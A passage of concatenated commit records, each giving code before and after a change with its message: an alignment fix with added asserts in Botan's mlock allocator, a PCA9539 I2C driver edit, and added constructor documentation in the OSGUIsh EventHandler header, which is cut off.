alignment;\n\n best_fit->first += n + alignment_padding;\n best_fit->second -= n + alignment_padding;\n\n \/\/ Need to realign, split the block\n if(alignment_padding)\n m_freelist.insert(best_fit, std::make_pair(offset, alignment_padding));\n\n ::memset(m_pool + offset + alignment_padding, 0, n);\n\n return m_pool + offset + alignment_padding;\n }\n\n return nullptr;\n }\n\nbool mlock_allocator::deallocate(void* p, size_t n)\n {\n if(!m_pool || !ptr_in_pool(m_pool, m_poolsize, p, n))\n return false;\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n const size_t start = static_cast<byte*>(p) - m_pool;\n\n auto comp = [](std::pair<size_t, size_t> x, std::pair<size_t, size_t> y){ return x.first < y.first; };\n\n auto i = std::lower_bound(m_freelist.begin(), m_freelist.end(),\n std::make_pair(start, 0), comp);\n\n \/\/ try to merge with later block\n if(start + n == i->first)\n {\n i->first = start;\n i->second += n;\n n = 0;\n }\n\n \/\/ try to merge with previous block\n if(i != m_freelist.begin())\n {\n auto prev = std::prev(i);\n\n if(prev->first + prev->second == start)\n {\n if(n)\n {\n prev->second += n;\n n = 0;\n }\n else\n {\n \/\/ merge adjoining\n prev->second += i->second;\n m_freelist.erase(i);\n }\n }\n }\n\n if(n != 0) \/\/ no merge possible?\n m_freelist.insert(i, std::make_pair(start, n));\n\n return true;\n }\n\nmlock_allocator::mlock_allocator() :\n m_poolsize(mlock_limit()),\n m_pool(nullptr)\n {\n#if !defined(MAP_NOCORE)\n #define MAP_NOCORE 0\n#endif\n\n if(m_poolsize)\n {\n m_pool = static_cast<byte*>(\n ::mmap(\n nullptr, m_poolsize,\n PROT_READ | PROT_WRITE,\n MAP_ANONYMOUS | MAP_SHARED | MAP_NOCORE,\n -1, 0));\n\n if(m_pool == static_cast<byte*>(MAP_FAILED))\n throw std::runtime_error(\"Failed to mmap pool\");\n\n std::memset(m_pool, 0x00, m_poolsize);\n\n if(::mlock(m_pool, m_poolsize) != 0)\n {\n ::munmap(m_pool, m_poolsize);\n m_pool = nullptr;\n throw std::runtime_error(\"Failed to lock pool\");\n }\n\n m_freelist.push_back(std::make_pair(0, m_poolsize));\n }\n }\n\nmlock_allocator::~mlock_allocator()\n {\n if(m_pool)\n {\n std::memset(m_pool, 0, m_poolsize);\n ::munlock(m_pool, m_poolsize);\n ::munmap(m_pool, m_poolsize);\n m_pool = nullptr;\n }\n }\n\nmlock_allocator& mlock_allocator::instance()\n {\n static mlock_allocator mlock;\n return mlock;\n }\n\n}\n<commit_msg>Fix alignment again and add assert checks so we don't mess up again.<commit_after>\/*\n* Mlock Allocator\n* (C) 2012 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#include <botan\/locking_allocator.h>\n#include <botan\/internal\/assert.h>\n#include <algorithm>\n#include <cstring>\n#include <sys\/mman.h>\n#include <sys\/resource.h>\n\nnamespace Botan {\n\nnamespace {\n\nsize_t mlock_limit()\n {\n struct rlimit limits;\n ::getrlimit(RLIMIT_MEMLOCK, &limits);\n\n if(limits.rlim_cur < limits.rlim_max)\n {\n limits.rlim_cur = limits.rlim_max;\n ::setrlimit(RLIMIT_MEMLOCK, &limits);\n ::getrlimit(RLIMIT_MEMLOCK, &limits);\n }\n\n \/*\n * Linux defaults to only 64 KiB of mlockable memory per process\n * (too small) but BSDs offer a small fraction of total RAM (more\n * than we need). Bound the total mlock size to 256 KiB which is\n * enough to run the entire test suite without spilling to non-mlock\n * memory, but small enough that we should not cause problems if\n * multiple processes are mlocking on the same machine.\n *\/\n return std::min<size_t>(limits.rlim_cur, 256*1024);\n }\n\nbool ptr_in_pool(const void* pool_ptr, size_t poolsize,\n const void* buf_ptr, size_t bufsize)\n {\n const size_t pool = reinterpret_cast<size_t>(pool_ptr);\n const size_t buf = reinterpret_cast<size_t>(buf_ptr);\n\n if(buf < pool || buf >= pool + poolsize)\n return false;\n\n BOTAN_ASSERT(buf + bufsize <= pool + poolsize,\n \"Invalid pointer\/length halfway into mem pool\");\n\n return true;\n }\n\nsize_t padding_for_alignment(size_t offset, size_t desired_alignment)\n {\n size_t mod = offset % desired_alignment;\n if(mod == 0)\n return 0; \/\/ already right on\n return desired_alignment - mod;\n }\n\n}\n\nvoid* mlock_allocator::allocate(size_t n, size_t alignment)\n {\n if(!m_pool || n >= m_poolsize)\n return nullptr; \/\/ bigger than the whole pool!\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n auto best_fit = m_freelist.end();\n\n for(auto i = m_freelist.begin(); i != m_freelist.end(); ++i)\n {\n \/\/ If we have a perfect fit, use it immediately\n if(i->second == n && (i->first % alignment) == 0)\n {\n const size_t offset = i->first;\n m_freelist.erase(i);\n ::memset(m_pool + offset, 0, n);\n\n BOTAN_ASSERT((reinterpret_cast<size_t>(m_pool) + offset) % alignment == 0,\n \"Returning correctly aligned pointer\");\n\n return m_pool + offset;\n }\n\n if((i->second >= (n + padding_for_alignment(i->first, alignment)) &&\n ((best_fit == m_freelist.end()) || (best_fit->second > i->second))))\n {\n best_fit = i;\n }\n }\n\n if(best_fit != m_freelist.end())\n {\n const size_t offset = best_fit->first;\n\n const size_t alignment_padding = padding_for_alignment(offset, alignment);\n\n best_fit->first += n + alignment_padding;\n best_fit->second -= n + alignment_padding;\n\n \/\/ Need to realign, split the block\n if(alignment_padding)\n {\n if(best_fit->second == 0)\n {\n \/*\n We used the entire block except for small piece used for\n alignment at the beginning, so just update this entry.\n *\/\n best_fit->second = alignment_padding;\n }\n else\n m_freelist.insert(best_fit, std::make_pair(offset, alignment_padding));\n }\n\n ::memset(m_pool + offset + alignment_padding, 0, n);\n\n BOTAN_ASSERT((reinterpret_cast<size_t>(m_pool) + offset + alignment_padding) % alignment == 0,\n \"Returning correctly aligned pointer\");\n\n return m_pool + offset + alignment_padding;\n }\n\n return nullptr;\n }\n\nbool mlock_allocator::deallocate(void* p, size_t n)\n {\n if(!m_pool || !ptr_in_pool(m_pool, m_poolsize, p, n))\n return false;\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n const size_t start = static_cast<byte*>(p) - m_pool;\n\n auto comp = [](std::pair<size_t, size_t> x, std::pair<size_t, size_t> y){ return x.first < y.first; };\n\n auto i = std::lower_bound(m_freelist.begin(), m_freelist.end(),\n std::make_pair(start, 0), comp);\n\n \/\/ try to merge with later block\n if(start + n == i->first)\n {\n i->first = start;\n i->second += n;\n n = 0;\n }\n\n \/\/ try to merge with previous block\n if(i != m_freelist.begin())\n {\n auto prev = std::prev(i);\n\n if(prev->first + prev->second == start)\n {\n if(n)\n {\n prev->second += n;\n n = 0;\n }\n else\n {\n \/\/ merge adjoining\n prev->second += i->second;\n m_freelist.erase(i);\n }\n }\n }\n\n if(n != 0) \/\/ no merge possible?\n m_freelist.insert(i, std::make_pair(start, n));\n\n return true;\n }\n\nmlock_allocator::mlock_allocator() :\n m_poolsize(mlock_limit()),\n m_pool(nullptr)\n {\n#if !defined(MAP_NOCORE)\n #define MAP_NOCORE 0\n#endif\n\n if(m_poolsize)\n {\n m_pool = static_cast<byte*>(\n ::mmap(\n nullptr, m_poolsize,\n PROT_READ | PROT_WRITE,\n MAP_ANONYMOUS | MAP_SHARED | MAP_NOCORE,\n -1, 0));\n\n if(m_pool == static_cast<byte*>(MAP_FAILED))\n throw std::runtime_error(\"Failed to mmap pool\");\n\n std::memset(m_pool, 0x00, m_poolsize);\n\n if(::mlock(m_pool, m_poolsize) != 0)\n {\n ::munmap(m_pool, m_poolsize);\n m_pool = nullptr;\n throw std::runtime_error(\"Failed to lock pool\");\n }\n\n m_freelist.push_back(std::make_pair(0, m_poolsize));\n }\n }\n\nmlock_allocator::~mlock_allocator()\n {\n if(m_pool)\n {\n std::memset(m_pool, 0, m_poolsize);\n ::munlock(m_pool, m_poolsize);\n ::munmap(m_pool, m_poolsize);\n m_pool = nullptr;\n }\n }\n\nmlock_allocator& mlock_allocator::instance()\n {\n static mlock_allocator mlock;\n return mlock;\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"SysConfig.h\"\n#if(HAS_PCA9539)\n\n#include <CI2C.h>\n#include \"CPCA9539.h\"\n#include \"CTimer.h\"\n#include \"NDataManager.h\"\n\nnamespace\n{\n CTimer pca9539_sample_timer;\n}\n\nCPCA9539::CPCA9539( CI2C *i2cInterfaceIn )\n : m_pca( i2cInterfaceIn )\n{\n\n}\n\nvoid CPCA9539::Initialize()\n{\n Serial.println( \"CPCA9539.Status:INIT;\" );\n\n pca9539_sample_timer.Reset();\n\n Serial.println( \"CPCA9539.Status:POST_INIT;\");\n}\n\nvoid CPCA9539::Update( CCommand &commandIn )\n{\n if( pca9539_sample_timer.HasElapsed( 1000 ) )\n {\n Serial.println( \"PCA9539.Status:LOOP;\" );\n }\n}\n\n#endif<commit_msg>Init in module class<commit_after>#include \"SysConfig.h\"\n#if(HAS_PCA9539)\n\n#include <CI2C.h>\n#include \"CPCA9539.h\"\n#include \"CTimer.h\"\n#include \"NDataManager.h\"\n\nnamespace\n{\n CTimer pca9539_sample_timer;\n}\n\nCPCA9539::CPCA9539( CI2C *i2cInterfaceIn )\n : m_pca( i2cInterfaceIn )\n{\n\n}\n\nvoid CPCA9539::Initialize()\n{\n Serial.println( \"CPCA9539.Status:INIT;\" );\n\n pca9539_sample_timer.Reset();\n\n Serial.println( \"CPCA9539.Status:POST_INIT;\");\n}\n\nvoid CPCA9539::Update( CCommand &commandIn )\n{\n if( pca9539_sample_timer.HasElapsed( 1000 ) )\n {\n Serial.println( \"PCA9539.Status:LOOP;\" );\n m_pca.Initialize();\n }\n}\n\n#endif<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\\\n* EventHandler.hpp *\n* An event handler providing GUI-like events *\n* *\n* *\n* Copyright (C) 2006 by Leandro Motta Barros. *\n* *\n* This program is distributed under the OpenSceneGraph Public License. You *\n* should have received a copy of it with the source distribution, in a file *\n* named 'COPYING.txt'. *\n\\******************************************************************************\/\n\n#ifndef _GUISH_EVENT_HANDLER_HPP_\n#define _GUISH_EVENT_HANDLER_HPP_\n\n#include <boost\/signal.hpp>\n#include <osgProducer\/Viewer>\n#include <OSGUIsh\/FocusPolicy.hpp>\n#include <OSGUIsh\/ManualFocusPolicy.hpp>\n\n\nnamespace OSGUIsh\n{\n \/** A \\c struct grouping parameters passed to event handlers. Future versions\n * of OSGUish may add more members here if necessary without breaking\n * existing user code.\n * @note Be aware that, in the general case,\n * <tt>hit.getNodePath().back() != node.get()<\/tt>. \\c hit contains\n * the actual, \"low level\" hit, while \\c node contains the node\n * registered with OSGUish. For instance, suppose you register a\n * car node, that has a car body node and four wheel nodes as\n * subnodes. \\c node will always be the whole car, while \\c hit will\n * be the \"car body\" or one of the \"wheels\".\n *\/\n struct HandlerParams\n {\n public:\n \/\/\/ Convenience constructor.\n HandlerParams (NodePtr nodeParam,\n const osgGA::GUIEventAdapter& eventParam,\n const osgUtil::Hit& hitParam)\n : node(nodeParam), event(eventParam), hit(hitParam)\n { }\n\n \/\/\/ The node generating the event.\n NodePtr node;\n\n \/** The event data, as passed by OSG. Here you can find many useful\n * information, like \"which mouse button was pressed\".\n *\/\n const osgGA::GUIEventAdapter& event;\n\n \/** The \\c osgUtil::Hit for the node that was under the mouse pointer\n * when the event was generated.\n * @note Notice that, in some cases, the \\c osgUtil::Hit for the node\n * under the mouse pointer doesn't really have something to do\n * with the event being handled. For example, if the event is a\n * <tt>KeyUp<\/tt> and the focus policy is not the \"node under\n * mouse has focus\" policy, than the hit will not be related to\n * the node generating the event.\n * <p>Also, in cases like the above, the hit may even be\n * invalid, since, perhaps, there will not be any registered\n * node under the mouse pointer.\n *\/\n const osgUtil::Hit& hit;\n };\n\n\n\n \/** An event handler providing GUI-like events for nodes. The \\c EventHandler\n * has an internal list of nodes being \"observed\". Every observed node has a\n * collection of signals associated to it. These signals represent the\n * events that can be generated for the node.\n *\/\n class EventHandler: public osgGA::GUIEventHandler\n {\n public:\n \/** Constructs an \\c EventHandler.\n * @param viewer The viewer used to view the scene graph. This used\n * for calling its \\c computeIntersections() method.\n * @param kbdPolicyFactory The factory that will be used to create the\n * \\c FocusPolicy used to automatically set the focus for\n * keyboard events.\n * @param wheelPolicyFactory The factory that will be used to create\n * the \\c FocusPolicy used to automatically set the focus for\n * mouse wheel events.\n *\/\n EventHandler (osgProducer::Viewer& viewer,\n const FocusPolicyFactory& kbdPolicyFactory =\n FocusPolicyFactoryMason<ManualFocusPolicy>(),\n const FocusPolicyFactory& wheelPolicyFactory =\n FocusPolicyFactoryMason<ManualFocusPolicy>());\n\n \/** Handles upcoming events (overloads virtual method).\n * @return See \\c handleReturnValues_ please.\n *\/\n bool handle (const osgGA::GUIEventAdapter& ea,\n osgGA::GUIActionAdapter&);\n\n \/** Sets the list of root nodes used when picking.\n * <p>This deserves some words: when using multiple\n * <tt>osg::CameraNode<\/tt>s (in particular when using HUDs), picking\n * in OSG can be problematic. The details of this problem are not\n * important here (basically, we don't have control on the relative\n * \"z-order\" of objects in different <tt>CameraNode<\/tt>s). But it is\n * important to know that, if we want to pick objects in different\n * camera nodes, we may have some unpredictable results.\n * <p>So, what's the solution? Actually, there is no solution. At\n * least, not an easy one. So, OSGUIsh uses a list of root nodes when\n * picking, as a way to offer some control to its users.\n * <p>Suppose, for instance, that you want to pick both in a group of\n * objects and in a HUD. By default, OSGUIsh will pick from the root\n * of the whole scene (objects and HUD), which (as described above)\n * will not work. So, you call \\c setPickingRoots() passing two nodes:\n * first the HUD, second the group of objects.\n * <p>Once you do this, OSGUIsh will start picking in two stages.\n * First, it will try picking the HUD. If it hits something in the\n * HUD, that hit will be used. If not, OSGUIsh will try picking the\n * group of objects.\n *\/\n void setPickingRoots (std::vector<NodePtr> newRoot);\n\n \/** Sets the root used by OSGUIsh when picking.\n * @see setPickingRoots for a longer discussion on how OSGUIsh\n * performs picking (you can set more than one root, for\n * example).\n *\/\n void setPickingRoot (NodePtr newRoot);\n\n \/** A type representing a signal used in OSGUIsh. This signal returns\n * nothing and takes a \\c HandlerParams, which packs all relevant data\n * for an event handler function.\n *\/\n typedef boost::signal<void (HandlerParams&)> Signal_t;\n\n \/\/\/ A (smart) pointer to a \\c Signal_t;\n typedef boost::shared_ptr<Signal_t> SignalPtr;\n\n \/** Adds a given node to the list of nodes being \"observed\" by this\n * \\c EventHandler. In other words, signals for this node will be\n * triggered from this call on.\n * @param node The node that will be added to this \\c EventHandler.\n *\/\n void addNode (const NodePtr node);\n\n \/** Returns a signal associated with a given node. This is typically\n * used to call \\c connect() on the returned signal.\n * @param node The desired node.\n * @param signal The desired signal. Valid signals are\n * <tt>\"MouseEnter\"<\/tt>, <tt>\"MouseLeave\"<\/tt>,\n * <tt>\"MouseMove\"<\/tt>, <tt>\"MouseDown\"<\/tt>,\n * <tt>\"MouseUp\"<\/tt>, <tt>\"Click\"<\/tt>,\n * <tt>\"DoubleClick\"<\/tt>, <tt>\"MouseWheelUp\"<\/tt>,\n * <tt>\"MouseWheelDown\"<\/tt>, <tt>\"KeyUp\"<\/tt> and\n * <tt>\"KeyDown\"<\/tt>.\n *\/\n SignalPtr getSignal (const NodePtr node, const std::string& signal);\n\n \/** Ignores or stops to ignore faces that are back-facing the viewer\n * when picking. It may be useful to ignore back faces when backface\n * culling is enabled.\n * @param ignore If \\c true, back faces will be ignored when picking.\n * If \\c false, back faces will be considered when piking.\n *\/\n void ignoreBackFaces (bool ignore = true)\n { ignoreBackFaces_ = ignore; }\n\n \/\/\/ Sets the node that will receive keyboard events.\n void setKeyboardFocus (const NodePtr node);\n\n \/\/\/ Sets the node that will receive mouse wheel events.\n void setMouseWheelFocus (const NodePtr node);\n\n \/** Sets the focus policy for keyboard events to a given one.\n * @param policyFactory The factory that will be used to create the\n * actual policy.\n *\/\n void setKeyboardFocusPolicy (const FocusPolicyFactory& policyFactory);\n\n \/** Sets the focus policy for mouse wheel events to a given one.\n * @param policyFactory The factory that will be used to create the\n * actual policy.\n *\/\n void setMouseWheelFocusPolicy (const FocusPolicyFactory& policyFactory);\n\n private:\n \/** Returns the first node in an \\c osg::NodePath that is present in the\n * list of nodes being \"observed\" by this \\c EventHandler. This is\n * necessary in the cases in which the user is picking a node that is\n * child of an added node. That's the case, for instance, of when the\n * user adds a node read from a 3D model file returned by\n * \\c osgDB::readNodeFile().\n * @param nodePath The node path leading to the node being queried.\n * @returns The first in \\c nodePath that as added to the list of\n * nodes being observed.\n *\/\n NodePtr getObservedNode (const osg::NodePath& nodePath);\n\n \/** Handles a \\c FRAME event triggered by Producer. Signals triggered\n * here are <tt>\"MouseEnter\"<\/tt>, <tt>\"MouseLeave\"<\/tt> and\n * <tt>\"MouseMove\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleFrameEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c PUSH event triggered by Producer. The only signal\n * triggered here is <tt>\"MouseDown\"<\/tt>, but this function also does\n * bookkeeping related to other mouse signals.\n * @param ea The event generated by Producer.\n *\/\n void handlePushEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c RELEASE event triggered by Producer. Signals triggered\n * here are <tt>\"MouseUp\"<\/tt>, <tt>\"Click\"<\/tt> and\n * <tt>\"DoubleClick\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleReleaseEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c KEYDOWN event triggered by Producer. The only signal\n * triggered here is <tt>\"KeyDown\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleKeyDownEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c KEYUP event triggered by Producer. The only signal\n * triggered here is <tt>\"KeyUp\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleKeyUpEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c SCROLL event triggered by Producer. The signal\n * triggered here are <tt>\"ScrollUp\"<\/tt> and <tt>\"ScrollDown\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleScrollEvent (const osgGA::GUIEventAdapter& ea);\n\n \/\/\/ The viewer viewing the nodes.\n osgProducer::Viewer& viewer_;\n\n \/** If this is \\c true, faces back-facing the viewer will be ignored\n * while picking.\n *\/\n bool ignoreBackFaces_;\n\n \/** The list of root nodes used when picking.\n * @see setPickingRoots for a discussion on how this is used and why\n * this is necessary.\n *\/\n std::vector<NodePtr> pickingRoots_;\n\n \/** The values to be returned by the \\c handle() method, depending on\n * the event type it is handling. Values are not initialized, meaning\n * that \\c handle(), by default, returns \\c false for all event types.\n * @todo Implement a method like \\c setHandleReturnValue(), so that\n * the user can configure this.\n *\/\n std::map <osgGA::GUIEventAdapter::EventType, bool> handleReturnValues_;\n\n \/\/\/ Type mapping a signal name to the signal object.\n typedef std::map <std::string, SignalPtr> SignalCollection_t;\n\n \/\/\/ Type mapping nodes to the collection of signals associated to it.\n typedef std::map <NodePtr, SignalCollection_t > SignalsMap_t;\n\n \/** Structure containing all the signals used by this \\c EventHandler.\n * It can be used with a syntax like this:\n * <tt>signals_[node][\"MouseMove\"]->connect(&MyHandler);<\/tt>\n *\/\n SignalsMap_t signals_;\n\n \/** The \\c osgUtil::Hit structure for the node currently under the\n * mouse pointer. (Respecting the \\c ignoreBackFaces_ flag.)\n *\/\n osgUtil::Hit hitUnderMouse_;\n\n \/\/\n \/\/ For \"MouseEnter\", \"MouseLeave\", \"MouseMove\"\n \/\/\n\n \/\/\/ The node currently under the mouse pointer.\n NodePtr nodeUnderMouse_;\n\n \/** The position (in the object coordinate system) of\n * \\c nodeUnderMouse_ currently under the mouse pointer.\n *\/\n osg::Vec3 positionUnderMouse_;\n\n \/\/\n \/\/ For \"Click\" and \"DoubleClick\"\n \/\/\n\n \/\/\/ The buttons of a mouse.\n enum MouseButton\n {\n LEFT_MOUSE_BUTTON, \/\/\/< The left button.\n MIDDLE_MOUSE_BUTTON, \/\/\/< The middle button.\n RIGHT_MOUSE_BUTTON, \/\/\/< The right button.\n MOUSE_BUTTON_COUNT \/\/\/< The number of buttons in a mouse.\n };\n\n \/** Returns the mouse button used in the \\c osgGA::GUIEventAdapter\n * passed as parameter.\n *\/\n MouseButton getMouseButton (const osgGA::GUIEventAdapter& ea);\n\n \/** An array indicating (for every mouse button) which was the node\n * that received the last mouse down event. This is used to identify\n * clicks.\n *\/\n NodePtr nodeThatGotMouseDown_[MOUSE_BUTTON_COUNT];\n\n \/** An array indicating (for every mouse button) which was the node\n * that received the last click event. This is used to identify double\n * clicks.\n *\/\n NodePtr nodeThatGotClick_[MOUSE_BUTTON_COUNT];\n\n \/** An array indicating (for every mouse button) the time at which the\n * last click event has happened. This is used to identify double\n * clicks.\n *\/\n double timeOfLastClick_[MOUSE_BUTTON_COUNT];\n\n \/\/\n \/\/ For \"KeyUp\" and \"KeyDown\"\n \/\/\n\n \/\/\/ The node receiving keyboard events.\n NodePtr kbdFocus_;\n\n \/\/\/ The focus policy for keyboard-related events.\n FocusPolicyPtr kbdFocusPolicy_;\n\n \/\/\n \/\/ For \"MouseWheelUp\" and \"MouseWheelDown\"\n \/\/\n\n \/\/\/ The node receiving mouse wheel events.\n NodePtr wheelFocus_;\n\n \/\/\/ The focus policy for mouse wheel-related events.\n FocusPolicyPtr wheelFocusPolicy_;\n };\n\n} \/\/ namespace OSGUIsh\n\n\n#endif \/\/ _GUISH_EVENT_HANDLER_HPP_\n<commit_msg>Documented the glitch concerning the call to 'osgProducer::Viewer::setSceneData()', the construction of 'OSGUIsh::EventHandler' and the default picking root.<commit_after>\/******************************************************************************\\\n* EventHandler.hpp *\n* An event handler providing GUI-like events *\n* *\n* *\n* Copyright (C) 2006 by Leandro Motta Barros. *\n* *\n* This program is distributed under the OpenSceneGraph Public License. You *\n* should have received a copy of it with the source distribution, in a file *\n* named 'COPYING.txt'. *\n\\******************************************************************************\/\n\n#ifndef _GUISH_EVENT_HANDLER_HPP_\n#define _GUISH_EVENT_HANDLER_HPP_\n\n#include <boost\/signal.hpp>\n#include <osgProducer\/Viewer>\n#include <OSGUIsh\/FocusPolicy.hpp>\n#include <OSGUIsh\/ManualFocusPolicy.hpp>\n\n\nnamespace OSGUIsh\n{\n \/** A \\c struct grouping parameters passed to event handlers. Future versions\n * of OSGUish may add more members here if necessary without breaking\n * existing user code.\n * @note Be aware that, in the general case,\n * <tt>hit.getNodePath().back() != node.get()<\/tt>. \\c hit contains\n * the actual, \"low level\" hit, while \\c node contains the node\n * registered with OSGUish. For instance, suppose you register a\n * car node, that has a car body node and four wheel nodes as\n * subnodes. \\c node will always be the whole car, while \\c hit will\n * be the \"car body\" or one of the \"wheels\".\n *\/\n struct HandlerParams\n {\n public:\n \/\/\/ Convenience constructor.\n HandlerParams (NodePtr nodeParam,\n const osgGA::GUIEventAdapter& eventParam,\n const osgUtil::Hit& hitParam)\n : node(nodeParam), event(eventParam), hit(hitParam)\n { }\n\n \/\/\/ The node generating the event.\n NodePtr node;\n\n \/** The event data, as passed by OSG. Here you can find many useful\n * information, like \"which mouse button was pressed\".\n *\/\n const osgGA::GUIEventAdapter& event;\n\n \/** The \\c osgUtil::Hit for the node that was under the mouse pointer\n * when the event was generated.\n * @note Notice that, in some cases, the \\c osgUtil::Hit for the node\n * under the mouse pointer doesn't really have something to do\n * with the event being handled. For example, if the event is a\n * <tt>KeyUp<\/tt> and the focus policy is not the \"node under\n * mouse has focus\" policy, than the hit will not be related to\n * the node generating the event.\n * <p>Also, in cases like the above, the hit may even be\n * invalid, since, perhaps, there will not be any registered\n * node under the mouse pointer.\n *\/\n const osgUtil::Hit& hit;\n };\n\n\n\n \/** An event handler providing GUI-like events for nodes. The \\c EventHandler\n * has an internal list of nodes being \"observed\". Every observed node has a\n * collection of signals associated to it. These signals represent the\n * events that can be generated for the node.\n *\/\n class EventHandler: public osgGA::GUIEventHandler\n {\n public:\n \/** Constructs an \\c EventHandler. The constructor will set the picking\n * root to \\c viewer.getSceneSceneData(). So, if you want to use this\n * default value, call setSceneData() on the viewer before passing it\n * to this constructor.\n * @param viewer The viewer used to view the scene graph. This used\n * for calling its \\c computeIntersections() method.\n * @param kbdPolicyFactory The factory that will be used to create the\n * \\c FocusPolicy used to automatically set the focus for\n * keyboard events.\n * @param wheelPolicyFactory The factory that will be used to create\n * the \\c FocusPolicy used to automatically set the focus for\n * mouse wheel events.\n * @see setPickingRoots for a way to manually set the picking roots\n * (and also for an explanation on what are these \"picking roots\"\n * after all).\n * @see setPickingRoot for another way to manually set the picking\n * roots.\n *\/\n EventHandler (osgProducer::Viewer& viewer,\n const FocusPolicyFactory& kbdPolicyFactory =\n FocusPolicyFactoryMason<ManualFocusPolicy>(),\n const FocusPolicyFactory& wheelPolicyFactory =\n FocusPolicyFactoryMason<ManualFocusPolicy>());\n\n \/** Handles upcoming events (overloads virtual method).\n * @return See \\c handleReturnValues_ please.\n *\/\n bool handle (const osgGA::GUIEventAdapter& ea,\n osgGA::GUIActionAdapter&);\n\n \/** Sets the list of root nodes used when picking.\n * <p>This deserves some words: when using multiple\n * <tt>osg::CameraNode<\/tt>s (in particular when using HUDs), picking\n * in OSG can be problematic. The details of this problem are not\n * important here (basically, we don't have control on the relative\n * \"z-order\" of objects in different <tt>CameraNode<\/tt>s). But it is\n * important to know that, if we want to pick objects in different\n * camera nodes, we may have some unpredictable results.\n * <p>So, what's the solution? Actually, there is no solution. At\n * least, not an easy one. So, OSGUIsh uses a list of root nodes when\n * picking, as a way to offer some control to its users.\n * <p>Suppose, for instance, that you want to pick both in a group of\n * objects and in a HUD. By default, OSGUIsh will pick from the root\n * of the whole scene (objects and HUD), which (as described above)\n * will not work. So, you call \\c setPickingRoots() passing two nodes:\n * first the HUD, second the group of objects.\n * <p>Once you do this, OSGUIsh will start picking in two stages.\n * First, it will try picking the HUD. If it hits something in the\n * HUD, that hit will be used. If not, OSGUIsh will try picking the\n * group of objects.\n *\/\n void setPickingRoots (std::vector<NodePtr> newRoot);\n\n \/** Sets the root used by OSGUIsh when picking.\n * @see setPickingRoots for a longer discussion on how OSGUIsh\n * performs picking (you can set more than one root, for\n * example).\n *\/\n void setPickingRoot (NodePtr newRoot);\n\n \/** A type representing a signal used in OSGUIsh. This signal returns\n * nothing and takes a \\c HandlerParams, which packs all relevant data\n * for an event handler function.\n *\/\n typedef boost::signal<void (HandlerParams&)> Signal_t;\n\n \/\/\/ A (smart) pointer to a \\c Signal_t;\n typedef boost::shared_ptr<Signal_t> SignalPtr;\n\n \/** Adds a given node to the list of nodes being \"observed\" by this\n * \\c EventHandler. In other words, signals for this node will be\n * triggered from this call on.\n * @param node The node that will be added to this \\c EventHandler.\n *\/\n void addNode (const NodePtr node);\n\n \/** Returns a signal associated with a given node. This is typically\n * used to call \\c connect() on the returned signal.\n * @param node The desired node.\n * @param signal The desired signal. Valid signals are\n * <tt>\"MouseEnter\"<\/tt>, <tt>\"MouseLeave\"<\/tt>,\n * <tt>\"MouseMove\"<\/tt>, <tt>\"MouseDown\"<\/tt>,\n * <tt>\"MouseUp\"<\/tt>, <tt>\"Click\"<\/tt>,\n * <tt>\"DoubleClick\"<\/tt>, <tt>\"MouseWheelUp\"<\/tt>,\n * <tt>\"MouseWheelDown\"<\/tt>, <tt>\"KeyUp\"<\/tt> and\n * <tt>\"KeyDown\"<\/tt>.\n *\/\n SignalPtr getSignal (const NodePtr node, const std::string& signal);\n\n \/** Ignores or stops to ignore faces that are back-facing the viewer\n * when picking. It may be useful to ignore back faces when backface\n * culling is enabled.\n * @param ignore If \\c true, back faces will be ignored when picking.\n * If \\c false, back faces will be considered when piking.\n *\/\n void ignoreBackFaces (bool ignore = true)\n { ignoreBackFaces_ = ignore; }\n\n \/\/\/ Sets the node that will receive keyboard events.\n void setKeyboardFocus (const NodePtr node);\n\n \/\/\/ Sets the node that will receive mouse wheel events.\n void setMouseWheelFocus (const NodePtr node);\n\n \/** Sets the focus policy for keyboard events to a given one.\n * @param policyFactory The factory that will be used to create the\n * actual policy.\n *\/\n void setKeyboardFocusPolicy (const FocusPolicyFactory& policyFactory);\n\n \/** Sets the focus policy for mouse wheel events to a given one.\n * @param policyFactory The factory that will be used to create the\n * actual policy.\n *\/\n void setMouseWheelFocusPolicy (const FocusPolicyFactory& policyFactory);\n\n private:\n \/** Returns the first node in an \\c osg::NodePath that is present in the\n * list of nodes being \"observed\" by this \\c EventHandler. This is\n * necessary in the cases in which the user is picking a node that is\n * child of an added node. That's the case, for instance, of when the\n * user adds a node read from a 3D model file returned by\n * \\c osgDB::readNodeFile().\n * @param nodePath The node path leading to the node being queried.\n * @returns The first in \\c nodePath that as added to the list of\n * nodes being observed.\n *\/\n NodePtr getObservedNode (const osg::NodePath& nodePath);\n\n \/** Handles a \\c FRAME event triggered by Producer. Signals triggered\n * here are <tt>\"MouseEnter\"<\/tt>, <tt>\"MouseLeave\"<\/tt> and\n * <tt>\"MouseMove\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleFrameEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c PUSH event triggered by Producer. The only signal\n * triggered here is <tt>\"MouseDown\"<\/tt>, but this function also does\n * bookkeeping related to other mouse signals.\n * @param ea The event generated by Producer.\n *\/\n void handlePushEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c RELEASE event triggered by Producer. Signals triggered\n * here are <tt>\"MouseUp\"<\/tt>, <tt>\"Click\"<\/tt> and\n * <tt>\"DoubleClick\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleReleaseEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c KEYDOWN event triggered by Producer. The only signal\n * triggered here is <tt>\"KeyDown\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void 